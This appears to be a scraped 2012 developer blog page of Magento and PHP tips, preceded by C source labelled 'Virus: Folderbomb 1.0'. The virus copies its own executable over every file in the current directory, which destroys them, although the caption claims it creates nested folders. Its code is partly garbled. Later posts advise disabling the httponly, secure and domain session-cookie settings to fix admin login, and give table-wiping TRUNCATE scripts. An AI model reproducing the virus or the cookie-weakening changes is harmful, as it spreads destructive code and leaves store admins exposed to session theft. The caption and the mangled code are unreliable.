It will create Folder in a Folder in a Folder and so on ......


#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Tuesday, 7 February 2012

Displaying Related Products in Bottom in Magento

Go to layout/catalog.xml

Comment the below code

<reference name="right">
<block type="catalog/product_list_related" name="catalog.product.related" before="-" template="catalog/product/list/related.phtml"/>
</reference>


add the below code before reference tag of above line of previous code

<block type="catalog/product_list_related" name="catalog.product.related" after="-" template="catalog/product/list/related.phtml"/>


How to fix Apache error in Ubuntu

How to fix Apache – "Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName" Error on Ubuntu

To fix that problem, you need to edit the httpd.conf file. Open the terminal and type,

sudo gedit /etc/apache2/httpd.conf

By default httpd.conf file will be blank. Now, simply add the following line to the file.

ServerName localhost

Save the file and exit from gEdit.

Finally restart the server.

sudo /etc/init.d/apache2 restart


How to overload a controller

check this URL:

http://www.magentocommerce.com/wiki/5_-_modules_and_development/0_-_module_development_in_magento/how_to_overload_a_controller



Solving issues withUSPS shipping method

Solving issues withUSPS shipping method
 Useful url: 


 http://indiestechtips.wordpress.com/2011/01/04/solving-usps-shipping-rate-change-issue-with-magento/

Magento BackEnd Login Issue

After the magento installation, I was not able to login into admin panel with the correct username and password.

For that I have gone to the file Varien.php in app/code/core/Mage/Core/Model/Session/Abstract/Varien.php

and found the code

$cookieParams = array(
'lifetime' => $cookie->getLifetime(),
'path' => $cookie->getPath(),
'domain' => $cookie->getConfigDomain(),
'secure' => $cookie->isSecure(),
'httponly' => $cookie->getHttponly()
);

and replaced with
$cookieParams = array(
'lifetime' => $cookie->getLifetime(),
'path' => $cookie->getPath(),
// 'domain' => $cookie->getConfigDomain(),
//'secure' => $cookie->isSecure(),
// 'httponly' => $cookie->getHttponly()
);

Also We need to comment the following if statement. then only we can login to admin


/* if (!$cookieParams['httponly']) {
unset($cookieParams['httponly']);
if (!$cookieParams['secure']) {
unset($cookieParams['secure']);
if (!$cookieParams['domain']) {
unset($cookieParams['domain']);
}
}
}

if (isset($cookieParams['domain'])) {
$cookieParams['domain'] = $cookie->getDomain();
}*/



I was successfully logged in to the admin panel.

How to create a new layout in magento

Many times we need to add new layout skeleton rather then 2colums-left, 2columns-right, 1column and 3columns. Here is the way how we can add more layout structures.

You can make modification directly in app/code/core/Page/etc/config.xml but if you don’t want to touch core file, I recommend you to follow these steps:

Create config.xml under app/code/local/Magestore/Page/etc


<?xml version="1.0" encoding="utf-8"?>
<config>
<modules>
<Magestore_Page>
<version>0.1.0</version>
</Magestore_Page>
</modules>
<global>
<page>
<layouts>
<three_columns_cms module="page" translate="label">
<label>3 columns for cms page</label>
<template>page/3columns-cms.phtml</template>
<layout_handle>page_three_columns_cms</layout_handle>
</three_columns_cms>
</layouts>
</page>
</global>
</config>


Now, open app/etc/modules and create file Magestore_Page.xml

<?xml version="1.0"?>
<config>
<modules>
<Magestore_Page>
<active>true</active>
<codePool>local</codePool>
</Magestore_Page>
</modules>
</config>


You have to create a file named '3columns-cms.phtml' under app/design/frontend/[YOUR_PACKAGE]/[YOUR_THEME]/template/page.

Now, log in your admin, go to Cms -> Manage pages, click Add new page. In Custom Design tab, you can find new layout you just created

Removing products and categories from the database

Removing products and categories from the database


Truncate products


TRUNCATE TABLE `catalog_product_bundle_option`;
TRUNCATE TABLE `catalog_product_bundle_option_value`;
TRUNCATE TABLE `catalog_product_bundle_selection`;
TRUNCATE TABLE `catalog_product_entity_datetime`;
TRUNCATE TABLE `catalog_product_entity_decimal`;
TRUNCATE TABLE `catalog_product_entity_gallery`;
TRUNCATE TABLE `catalog_product_entity_int`;
TRUNCATE TABLE `catalog_product_entity_media_gallery`;
TRUNCATE TABLE `catalog_product_entity_media_gallery_value`;
TRUNCATE TABLE `catalog_product_entity_text`;
TRUNCATE TABLE `catalog_product_entity_tier_price`;
TRUNCATE TABLE `catalog_product_entity_varchar`;
TRUNCATE TABLE `catalog_product_link`;
TRUNCATE TABLE `catalog_product_link_attribute`;
TRUNCATE TABLE `catalog_product_link_attribute_decimal`;
TRUNCATE TABLE `catalog_product_link_attribute_int`;
TRUNCATE TABLE `catalog_product_link_attribute_varchar`;
TRUNCATE TABLE `catalog_product_link_type`;
TRUNCATE TABLE `catalog_product_option`;
TRUNCATE TABLE `catalog_product_option_price`;
TRUNCATE TABLE `catalog_product_option_title`;
TRUNCATE TABLE `catalog_product_option_type_price`;
TRUNCATE TABLE `catalog_product_option_type_title`;
TRUNCATE TABLE `catalog_product_option_type_value`;
TRUNCATE TABLE `catalog_product_super_attribute`;
TRUNCATE TABLE `catalog_product_super_attribute_label`;
TRUNCATE TABLE `catalog_product_super_attribute_pricing`;
TRUNCATE TABLE `catalog_product_super_link`;
TRUNCATE TABLE `catalog_product_enabled_index`;
TRUNCATE TABLE `catalog_product_website`;
TRUNCATE TABLE `catalog_product_entity`;

TRUNCATE TABLE `cataloginventory_stock`;
TRUNCATE TABLE `cataloginventory_stock_item`;
TRUNCATE TABLE `cataloginventory_stock_status`;

insert into `catalog_product_link_type`(`link_type_id`,`code`) values (1,'relation'),(2,'bundle'),(3,'super'),(4,'up_sell'),(5,'cross_sell');
insert into `catalog_product_link_attribute`(`product_link_attribute_id`,`link_type_id`,`product_link_attribute_code`,`data_type`) values (1,2,'qty','decimal'),(2,1,'position','int'),(3,4,'position','int'),(4,5,'position','int'),(6,1,'qty','decimal'),(7,3,'p osition','int'),(8,3,'qty','decimal');
insert into `cataloginventory_stock`(`stock_id`,`stock_name`) values (1,'Default');



Truncate categories


TRUNCATE TABLE `catalog_category_entity`;
TRUNCATE TABLE `catalog_category_entity_datetime`;
TRUNCATE TABLE `catalog_category_entity_decimal`;
TRUNCATE TABLE `catalog_category_entity_int`;
TRUNCATE TABLE `catalog_category_entity_text`;
TRUNCATE TABLE `catalog_category_entity_varchar`;
TRUNCATE TABLE `catalog_category_product`;
TRUNCATE TABLE `catalog_category_product_index`;

insert into `catalog_category_entity`(`entity_id`,`entity_type_id`,`attribute_set_id`,`parent_id`,`created_at`,`updated_at`,`path`,` position`,`level`,`children_count`) values (1,3,0,0,'0000-00-00 00:00:00','2009-02-20 00:25:34','1',1,0,1),(2,3,3,0,'2009-02-20 00:25:34','2009-02-20 00:25:34','1/2',1,1,0);
insert into `catalog_category_entity_int`(`value_id`,`entity_type_id`,`attribute_id`,`store_id`,`entity_id`,`value`) values (1,3,32,0,2,1),(2,3,32,1,2,1);
insert into `catalog_category_entity_varchar`(`value_id`,`entity_type_id`,`attribute_id`,`store_id`,`entity_id`,`value`) values (1,3,31,0,1,'Root Catalog'),(2,3,33,0,1,'root-catalog'),(3,3,31,0,2,'Default Category'),(4,3,39,0,2,'PRODUCTS'),(5,3,33,0,2,'default-category');




Truncate customers


TRUNCATE TABLE `customer_address_entity`;
TRUNCATE TABLE `customer_address_entity_datetime`;
TRUNCATE TABLE `customer_address_entity_decimal`;
TRUNCATE TABLE `customer_address_entity_int`;
TRUNCATE TABLE `customer_address_entity_text`;
TRUNCATE TABLE `customer_address_entity_varchar`;
TRUNCATE TABLE `customer_entity`;
TRUNCATE TABLE `customer_entity_datetime`;
TRUNCATE TABLE `customer_entity_decimal`;
TRUNCATE TABLE `customer_entity_int`;
TRUNCATE TABLE `customer_entity_text`;
TRUNCATE TABLE `customer_entity_varchar`;




Truncate product reviews & ratings


truncate table `rating_option_vote`;
truncate table `rating_option_vote_aggregated`;

truncate table `review`;
truncate table `review_detail`;
truncate table `review_entity_summary`;
truncate table `review_store`;


How to enable/disable the module in magento?



So here is the guide for that.

The module/extension which we install or create in magento can be enable/disable from admin side.

Now to enable/disable the magento module, login to your magento admin.

Go to System -> Configuration from header menu.

Then click on “Advanced” option of “Advanced” tab from left column.

Here you can see the list of all installed or created magento modules/extensions. And you can enable/disable them by selecting appropriate value from combo.


How to make an array from string using php

To satisfy our requirement we have used php explode function.

The explode() is breaking a string into an array, and returns an array of strings.

It has three arguments which are separator, string and limit.

Where first and second arguments are mandatory and third is optional.

First argument is separator, which describes where to break the string.

Second argument is string to break.

And the third argument is limit, which describes the maximum number of elements an array will contain.

Follow the under given example, which makes an array after breaking a string.


Code:
    $string = "Hello World! This will make an array from string.";
    echo "<pre>";
    print_r(explode(" ", $string));
    print_r(explode(" ", $string, 2));
    print_r(explode(" ", $string, -2));
    print_r(explode(" ", $string, 0));
    echo "</pre>";


Magento Admin Login problem


I had a new installation of magento. But I was unable to login as an administrator. I went

to the admin login page, entered correct username and password but was redirected to the

same login page. I could not enter the dashboard page. Error message is displayed when I

enter wrong username or password. But nothing is displayed and I am redirected to the same

login page when I insert correct username and password.

Solution:

I googled and found these solutions:-

1) Use 127.0.0.1 instead of localhost in your url, i.e. using

http://127.0.0.1/magento/index.php/admin instead of
http://localhost/magento/index.php/admin . But this didn’t solve my problem.

2) Since I am using Windows XP, I was suggested to open “host” file from
C:\WINDOWS\system32\drivers\etc and have 127.0.0.1 point to something like magento.localhost

or even 127.0.0.1 point to http://www.localhost.com . But this also didn’t work either.

3) This solution finally helped me out of this problem. The solution was to modify the core

Magento code. Open

app/code/core/Mage/Core/Model/Session/Abstract/Varien.php. Comment out the

lines 80 to 83. The line number may vary according to the Magento version. But these lines

are present somewhere near line 80. You have to comment the comma (,) in line: $this-

>getCookie()->getPath()//,


// set session cookie params
session_set_cookie_params(
$this->getCookie()->getLifetime(),
$this->getCookie()->getPath()//,
//$this->getCookie()->getDomain(),
//$this->getCookie()->isSecure(),
//$this->getCookie()->getHttponly()
);

Well, I am out of this problem. Hope, this solution you also help you.

Update (For Magento 1.4.*)

In Magento 1.4, you have to comment code from line 86 to 98 in

app/code/core/Mage/Core/Model/Session/Abstract/Varien.php. Like this:-

/*  if (!$cookieParams['httponly']) {
    unset($cookieParams['httponly']);
    if (!$cookieParams['secure']) {
        unset($cookieParams['secure']);
        if (!$cookieParams['domain']) {
            unset($cookieParams['domain']);
        }
    }
} 
 
if (isset($cookieParams['domain'])) {
    $cookieParams['domain'] = $cookie->getDomain();
} */

Magento : How to redirect customer to login page if not logged in

If you are developing a module which needs to give access to its content only to logged in user then the preDispatch function will be very useful. This dispatches event before action.

Just write the following function in your module’s controller and customer log in is checked before each of your controller action.


/**
 * Checking if user is logged in or not
 * If not logged in then redirect to customer login
 */
public function preDispatch()
{
    parent::preDispatch();
  
    if (!Mage::getSingleton('customer/session')->authenticate($this)) {
        $this->setFlag('', 'no-dispatch', true);
    }
}

Monday, 6 February 2012

How to change the http in frontend, CheckOut Page to https in front end for magento

Add this code in relevant html pages for Check Out page in Magento

<?php
        $loadFromSSL = $_SERVER['SERVER_PORT']==443?true:false;
        if($loadFromSSL)
        {echo str_replace("http://","https://",

$this->getChildHtml('head_phone_block'));
        }else { echo $this->getChildHtml('head_phone_block'); }?>       
            <?php //echo $this->getChildHtml('head_phone_block')?>

Want to disable shipping tax and product tax in check out page

Goto->app/code/core/mage/sales/model/quote

click address.php search line 932 more less




public function setBaseTotalAmount($code, $amount)
    {
        $this->_baseTotalAmounts[$code] = $amount;
        if ($code != 'subtotal') {
            $code = $code.'_amount';
        }
        $this->setData('base_'.$code, $amount);
        return $this;
    }

    /**
     * Add amount total amount value
     *
     * @param   string $code
     * @param   float $amount
     * @return  Mage_Sales_Model_Quote_Address
     */
    public function addTotalAmount($code, $amount)
    {
       
        if(Mage::getSingleton('customer/session')->isLoggedIn()) {
        $customer = Mage::getModel("customer/customer")->load(Mage::getSingleton('customer/session')->getId());
        if($customer->getSalestaxcustomer() == 115 && $code == 'tax') {
        $amount = 0;
       
        }
       
        }
        $amount = $this->getTotalAmount($code)+$amount;
        $this->setTotalAmount($code, $amount);
        return $this;
    }

    /**
     * Add amount total amount value in base store currency
     *
     * @param   string $code
     * @param   float $amount
     * @return  Mage_Sales_Model_Quote_Address
     */
    public function addBaseTotalAmount($code, $amount)
    {
        $amount = $this->getBaseTotalAmount($code)+$amount;
        $this->setBaseTotalAmount($code, $amount);
        return $this;
    }



check in check out page that tax does not display

HOW TO AVOID TAX COLUM IN CHECK OUT PAGE

If u add new attribute like sales tax

customer-manage customer  -account information- after the gender we create the sales tax attribute
 
if v give not taxable means no shipping tax and product tax not comes
if v give taxable means all tax assigned

if v want like this means
goto

app/code/core/Mage/Sales/Model/Quote

address.php


goto the line 930

 /**
     * Set total amount value in base store currency
     *
     * @param   string $code
     * @param   float $amount
     * @return  Mage_Sales_Model_Quote_Address
     */
    public function setBaseTotalAmount($code, $amount)
    {
        $this->_baseTotalAmounts[$code] = $amount;
        if ($code != 'subtotal') {
            $code = $code.'_amount';
        }
        $this->setData('base_'.$code, $amount);
        return $this;
    }

    /**
     * Add amount total amount value
     *
     * @param   string $code
     * @param   float $amount
     * @return  Mage_Sales_Model_Quote_Address
     */
    public function addTotalAmount($code, $amount)
    {
       
        if(Mage::getSingleton('customer/session')->isLoggedIn()) {
        $customer = Mage::getModel("customer/customer")->load(Mage::getSingleton('customer/session')->getId());
        if($customer->getSalestaxcustomer() == 115 && $code == 'tax') {
        $amount = 0;
       
        }
       
        }
        $amount = $this->getTotalAmount($code)+$amount;
        $this->setTotalAmount($code, $amount);
        return $this;
    }

    /**
     * Add amount total amount value in base store currency
     *
     * @param   string $code
     * @param   float $amount
     * @return  Mage_Sales_Model_Quote_Address
     */
    public function addBaseTotalAmount($code, $amount)
    {
        $amount = $this->getBaseTotalAmount($code)+$amount;
        $this->setBaseTotalAmount($code, $amount);
        return $this;
    }

    /**
     * Get total amount value by code
     *
     * @param   string $code
     * @return  float
     */



check that tax are not available